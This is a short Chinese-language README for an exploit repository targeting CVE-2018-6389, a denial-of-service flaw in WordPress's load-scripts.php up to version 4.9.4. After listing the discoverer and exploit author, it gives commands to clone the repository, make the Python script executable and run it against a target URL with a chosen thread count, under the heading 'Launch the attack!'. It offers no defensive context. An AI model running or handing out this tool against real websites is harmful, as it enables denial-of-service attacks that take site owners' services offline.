WordPress-CVE-2018-6389

WordPress Core - 'load-scripts.php' 拒绝服务 <= 4.9.4

日期: 05/02/2018

软件链接: WordPress

版本: <= 4.9.4

测试环境: KaLi Linux 2018.1

CVE: CVE-2018-6389

发现者: Barak Tawily

漏洞利用作者: Javier Olmedo

克隆此仓库

git clone https://github.com/JJavierOlmedo/wordpress-cve-2018-6389.git

进入本地仓库

cd wordpress-cve-2018-6389

修改访问权限

sudo chmod +x wordpress-cve-2018-6389.py

发起攻击!!

python3 wordpress-cve-2018-6389.py -u <TARGET> -t <THREADS>

cve-2018-6389